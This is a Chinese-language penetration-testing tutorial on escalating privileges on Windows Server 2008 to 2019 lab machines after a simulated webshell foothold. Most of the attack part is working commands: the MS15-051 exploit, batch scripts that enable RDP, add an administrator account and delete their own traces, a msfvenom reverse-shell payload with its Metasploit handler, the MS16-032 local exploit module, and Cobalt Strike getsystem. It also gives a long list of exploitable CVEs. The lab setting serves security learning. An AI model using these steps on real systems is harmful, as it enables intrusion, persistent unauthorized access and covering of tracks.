【权限提升】windows平台-提权项目&MSF&CS&溢出漏洞

基本知识点

Windows系统内置了许多本地用户组,这些用户组本身都已经被赋予一些权限(permissions),它们具有管理本地计算机或访问本地资源的权限。只要用户账户加入到这些本地组内,这回用户账户也将具备该组所拥有的权限。

普通权限

默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,管理员组(Administrators)、高权限用户组(PowerUsers)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制组(Replicator)、来宾用户组(Guests),身份验证用户组(Ahthenticated users)其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。

管理员组拥有大部分的计算机操作权限(并不是全部),能够随意修改删除所有文件和修改系统设置只有程序信任组(特殊权限)。再往下就是高权限用户组,这一部分用户也能做大部分事情,但是不能修改系统设置,不能运行一些涉及系统管理的程序。普通用户组则被系统拴在了自己的地盘里,不能处理其他用户的文件和运行涉及管理的程序等。来宾用户组的文件操作权限和普通用户组一样,但是无法执行更多的程序。身份验证用户组(Ahthenticated users)经过ms验证程序登录的用户均属于此组。

特殊权限

除了上面提到的7个默认权限分组,系统还存在一些特殊权限成员,这些成员是为了特殊用途而设置,分别

是:SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、CREATOR OWNER(创建者)等,这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。

真正拥有“"完全访问权"”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。

“所有人"权限与普通用户组权限差不多,它的存在是为了让用户能访问被标记为“公有"的文件,这也是一些程序正常运行需要的访问权限——任何人都能正常访问被赋予"Everyone"权限的文件,包括来宾组成员。

被标记为“创建者"权限的文件只有建立文件的那个用户才能访问,做到了一定程度的隐私保护。

但是,所有的文件访问权限均可以被管理员组用户和SYSTEM成员忽略,除非用户使用了NTFS加密。

无论是普通权限还是特殊权限,它们都可以"叠加"使用,“叠加"就是指多个权限共同使用,例如一个账户原本属于Users组,而后我们把他加入Administrators组在加入Trustedinstaller等权限提升,那么现在这个账户便同时拥有两个或多个权限身份,而不是用管理员权限去覆盖原来身份。权限叠加并不是没有意义的,在一些需要特定身份访问的场合,用户只有为自己设置了指定的身份才能访问,这个时候"叠加"的使用就能减轻一部分劳动量了。

Windows 常用命令

Win server虚拟机案例

Windows server2008 r2 x64(手动提权)

哥斯拉生成asp后门,放入web根目录下,模拟已取得web权限。

  1. 信息收集

哥斯拉连接后门 查看系统版本以及当前权限

如果无法进行命令执行,可能是cmd程序不能正常使用,需要上传一个cmd源程序 调用执行

查看靶机当前进程(是否有杀软 能否绕过 大型服务器厂商会自带防火墙,例:阿里云盾等)

  1. 筛选EXP
WindowsVulnScan项目 百度网盘

简介:这是一款基于主机的漏洞扫描工具,采用多线程确保可以快速的请求数据,采用线程锁可以在向sqlite数据库中写入数据避免database is locked的错误,采用md5哈希算法确保数据不重复插入。

功能:查找主机上具有的CVE 查找具有公开EXP的CVE

使用
  1. 将KBCollect.ps1 上传至对方web根目录;powershell运行(上传是为了收集系统打的补丁信息,作用等同于systeminfo,当无法上传文件时,可以用systeminfo中的信息覆盖KB.json文件)

可能出现的问题: 无法加载文件 C:\inetpub\asp+access\KBCollect.ps1,因为在此系统中禁止执行脚本。 windows server PowerShell 默认是禁止运行脚本的, 通过以下命令设置: get-executionpolicy 查看对应配置 Restricted 执行策略不允许任何脚本运行。 AllSigned 和 RemoteSigned 执行策略可防止 WindowsPowerShell 运行没有数字签名的脚本。 set-ExecutionPolicy RemoteSigned 设置

哥斯拉上好像不能在靶机上执行powershell文件(进入不了powershell窗口)

直接在靶机上执行.\KBCollect.ps1命令后,在当前目录生成KB.json文件

  1. 覆盖项目KB.json文件(一定格式的操作系统信息 补丁信息等)

Python安装第三方模块后运行项目

代码语言:javascript
复制
Python3 cve-check.py -C -f KB.json
wesng-master项目 百度网盘 (推荐)

简介:WES-NG是一个基于Windows系统信息实用程序输出的工具,该实用程序提供了操作系统易受攻击的漏洞列表,包括对这些漏洞的任何利用。支持Windows XP和Windows 11之间的所有Windows操作系统,包括对应的Windows Server操作系统。

使用

将systeminfo中的信息复制到项目目录中 systeminfo.txt

代码语言:javascript
复制
python wes.py systeminfo.txt -o vulns.csv

项目常用命令示例: wes.py systeminfo.txt -o vulns.csv wes.py systeminfo.txt -p KB4345421 KB4487017 //明确补丁 wes.py systeminfo.txt -i "Remote Code Execution" //只显示有一定影响的漏洞

在线平台
EXP下载

GitHub - k8gege/Ladon: Ladon大型内网渗透工具,可PowerShell模块化、可CS插件化、可内存加载,无文件扫描。含端口扫描、服务识别、网络资产探测、密码审计、高危漏洞检测、漏洞利用、密码读取以及一键GetShell,支持批量A段/B段/C段以及跨网段扫描,支持URL、主机、域名列表扫描等。Ladon 12.2内置262个功能,网络资产探测模块32个通过多种协议(ICMP\NBT\DNS\MAC\SMB\WMI\SSH\HTTP\HTTPS\Exchange\mssql\FTP\RDP)以及方法快速获取目标网络存活主机IP、计算机名、工作组、共享资源、网卡地址、操作系统版本、网站、子域名、中间件、开放服务、路由器、交换机、数据库、打印机等信息,高危漏洞检测16个含MS17010、Zimbra、Exchange GitHub - Ascotbe/Kernelhub: :palm_tree:Linux、macOS、Windows Kernel privilege escalation vulnerability collection, with compilation environment, demo GIF map, vulnerability details, executable file (提权漏洞合集) #提权漏洞合集 (推荐)(常用溢出编号指定找EXP) GitHub - nomi-sec/PoC-in-GitHub: 📡 PoC auto collect from GitHub. ⚠️ Be careful Malware. #监控github上发布的exp(年份及编号指定找EXP) GitHub - offensive-security/exploitdb: The legacy Exploit Database repository - New repo located at https://gitlab.com/exploit-database/exploitdb #模糊查询 没有针对性(类型及关键说明指定找EXP) CVE -CVE Reference Map for Source MS 说明:通过对应补丁漏洞编号寻可利用EXP

代码语言:javascript
复制
#截止2022年前的主流提权漏洞:
CVE-2021-33739 [Microsoft DWM 核心库特权提升漏洞](Windows 10、20)
CVE-2021-1732 [Windows Win32k 提权漏洞] (Windows 10, 2019/20H2)
CVE-2020-0787【Windows后台智能传输服务提权漏洞】(Windows 7/8/10、2008/2012/2016/2019)
CVE-2020-0796 [Microsoft 服务器消息块 3.1.1 (SMBv3) 协议处理某些请求的方式中存在一个远程代码执行漏洞,即“Windows SMBv3 客户端/服务器远程代码执行漏洞”] (Windows 1903/1909 )
CVE-2019-1458 [当Win32k组件无法正确处理内存中的对象时,Windows中存在一个特权提升漏洞](Windows 7/8/10/2008/2012/2016)
CVE-2019-0803 [Win32k 组件无法正确处理内存中的对象时,Windows 中存在提权漏洞] (Windows 7/8/10/2008/2012/2016/2019)
CVE-2018-8639 [Win32k 组件无法正确处理内存中的对象时,Windows 中存在提权漏洞] (Windows 7/8/10/2008/2012/2016)
CVE-2018-1038 [Windows 内核提权漏洞](Windows 7 SP1/Windows Server 2008 R2 SP1)
CVE-2018-0743 [Windows Subsystem for Linux Elevation of Privilege Vulnerability](Windows 10 版本 1703/Windows 10 版本 1709/Windows Server 版本 1709)
CVE-2018-8453 [Windows Win32k 组件中的提权漏洞] (>= windows 8.1)
CVE-2018-8440 [Windows ALPC 提权漏洞] (windows 7/8.1/10/2008/2012/2016)
MS17-017  [KB4013081] [GDI 调色板对象本地权限提升](Windows 7/8)
CVE-2017-8464  [LNK远程执行代码漏洞](Windows 10 / 8.1 / 7/2016/2010/2008)
CVE-2017-0213  [Windows COM 提权漏洞] (windows 10/8.1/7/2016/2010/2008)
CVE-2018-0833 [SMBv3 空指针取消引用拒绝服务] (Windows 8.1/Server 2012 R2)
CVE-2018-8120 [Win32k 提权漏洞] (Windows 7 SP1/2008 SP2,2008 R2 SP1)
MS17-010  [KB4013389] [Windows 内核模式驱动程序] (windows 7/2008/2003/XP)
MS16-135  [KB3199135] [Windows 内核模式驱动程序] (2016)
MS16-111  [KB3186973] [内核 API] (Windows 10 10586 (32/64)/8.1)
MS16-098  [KB3178466] [内核驱动程序] (Win 8.1)
MS16-075  [KB3164038] [热土豆] (2003/2008/7/8/2012)
MS16-034  [KB3143145] [内核驱动程序] (2008/7/8/10/2012)
MS16-032  [KB3143141] [辅助登录句柄] (2008/7/8/10/2012)
MS16-016  [KB3136041] [WebDAV] (2008/Vista/7)
MS16-014  [K3134228] [远程代码执行] (2008/Vista/7)
MS15-097  [KB3089656] [远程代码执行] (win8.1/2012)
MS15-076  [KB3067505] [RPC] (2003/2008/7/8/2012)
MS15-077  [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061  [KB3057839] [内核驱动程序] (2003/2008/7/8/2012)
MS15-051  [KB3057191] [Windows内核模式驱动程序](2003/2008/7/8/2012)
MS15-015  [KB3031432] [内核驱动程序] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-010  [KB3036220] [内核驱动程序] (2003/2008/7/8)
MS15-001  [KB3023266] [内核驱动程序] (2008/2012/7/8)
MS14-070  [KB2989935] [内核驱动程序] (2003)
MS14-068  [KB3011780] [域权限提升] (2003/2008/2012/7/8)
MS14-058  [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)
MS14-066  [KB2992611] [Windows Schannel 允许远程代码执行] (VistaSP2/7 SP1/8/Windows 8.1/2003 SP2/2008 SP2/2008 R2 SP1/2012/2012 R2/Windows RT/Windows RT 8.1)
MS14-040  [KB2975684] [AFD 驱动程序] (2003/2008/2012/7/8)
MS14-002  [KB2914368] [NDProxy] (2003/XP)
MS13-053  [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)
MS13-046  [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)
MS13-005  [KB2778930] [内核模式驱动程序] (2003/2008/2012/win7/8)
MS12-042  [KB2972621] [服务总线] (2008/2012/win7)
MS12-020  [KB2671387] [RDP] (2003/2008/7/XP)
MS11-080  [KB2592799] [AFD.sys] (2003/XP)
MS11-062  [KB2566454] [NDISTAPI] (2003/XP)
MS11-046  [KB2503665] [AFD.sys] (2003/2008/7/XP)
MS11-011  [KB2393802] [内核驱动程序] (2003/2008/7/XP/Vista)
MS10-092  [KB2305420] [任务计划程序] (2008/7)
MS10-065  [KB2267960] [FastCGI](IIS 5.1、6.0、7.0 和 7.5)
MS10-059  [KB982799] [ACL-Churraskito] (2008/7/Vista)
MS10-048  [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015  [KB977165] [KiTrap0D] (2003/2008/7/XP)
MS10-012  [KB971468] [SMB 客户端 Trans2 堆栈溢出] (Windows 7/2008R2)
MS09-050  [KB975517] [远程代码执行] (2008/Vista)
MS09-020  [KB970483] [IIS 6.0](IIS 5.1 和 6.0)
MS09-012  [KB959454] [Chimichurri] (Vista/win7/2008/Vista)
MS08-068  [KB957097] [远程代码执行] (2000/XP)
MS08-067  [KB958644] [远程代码执行] (Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-066  [KB956803] [AFD.sys] (Windows 2000/XP/Server 2003)
MS08-025  [KB941693] [Win32.sys] (XP/2003/2008/Vista)
MS06-040  [KB921883] [远程代码执行] (2003/xp/2000)
MS05-039  [KB899588] [PnP 服务] (Win 9X/ME/NT/2000/XP/2003)
MS03-026  [KB823980] [RPC接口中的缓冲区溢出](/ NT / 2000 / XP / 2003)
  1. 上传EXP调用执行(ms15-051)

MS15-051简介 Windows 内核模式驱动程序中的漏洞可能允许特权提升 (3057191) , 如果攻击者在本地登录并可以在内核模式下运行任意代码,最严重的漏洞可能允许特权提升。 攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。 攻击者必须拥有有效的登录凭据并能本地登录才能利用此漏洞。 远程或匿名用户无法利用此漏洞。

代码语言:javascript
复制
C:/Users/ms15-051.exe "whoami"

成功提权至system权限&&探测是否开启3389端口,开启3389端口

代码语言:javascript
复制
C:/Users/ms15-051.exe "netstat -ano"

也可以使用哥斯拉进行网络扫描

上传bat脚本开启3389端口

代码语言:javascript
复制
%3389.bat%
%开启3389端口%
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
%关闭3389端口%
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
代码语言:javascript
复制
C:/Users/ms15-051.exe "C:/Users/3389.bat"

痕迹清除bat脚本(开启3389端口后删除注册表记录以及自身)

代码语言:javascript
复制
echo Windows Registry Editor Version 5.00>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg

echo "fDenyTSConnections"=dword:00000000>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

regedit /s 3389.reg

del 3389.reg
del 3389.bat

尝试创建用户进行RDP登陆

哥斯拉中直接创建权限不够

使用system权限创建一个administrator组中的用户,进行远程登录

代码语言:javascript
复制
%add_user.bat%
net user whgojp Wh12345 /add
net localgroup administrators wh /add
net localgroup administrators
del add_user.bat

mstsc连接

手工提权缺点:自己找的EXP可能不能使用(实验环境不匹配等原因)

Windows server2012 x64(MSF全自动)(使用phpstudy搭建)

  1. kali(10.10.10.129) 打开msf 生成反弹后门

代码语言:javascript
复制
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.129 LPORT=3333 -f exe -o msf.exe
  1. 配置监听会话
代码语言:javascript
复制
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
run
代码语言:javascript
复制
复现建议通过哥斯拉上传后门,模拟真实环境,上线之后权限为当前计算机用户权限(使用集成化软件phpstudy搭建,和linux下自己搭建apache服务上线权限有所区别)

另:java网站上传后门上线之后直接得到root(system)权限,语言特性,不需要提权

  1. 筛选EXP模块

手动导入补丁对应exp(不推荐)

代码语言:javascript
复制
use post/windows/gather/enum_patches(半自动:根据漏洞编号找出系统中安装的补丁)

自动识别可用EXP

代码语言:javascript
复制
use post/multi/recon/local_exploit_suggester(全自动:快速识别系统中可能被利用的漏洞)

set showdescription true

  1. 利用EXP(MS16-032)溢出提权

代码语言:javascript
复制
background
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
run

Windows server2016 r2 x64 &2019 (CS半自动-反弹&插件&利用)

CS生成X64可执行程序,上传至2016和2019服务器,分别以不同权限用户进行上线

2019以administrator用户上线,回连对话之后直接getsystem即可获得system权限,然后以system权限

也可以使用第三方插件进行提权

PS:Windows server 2016 服务器自己新建用户,CS中暂时没用找到可用EXP进行提权……

尝试在MSF中进行提权。

三个exp都试了一遍,都没有成功……(插个眼)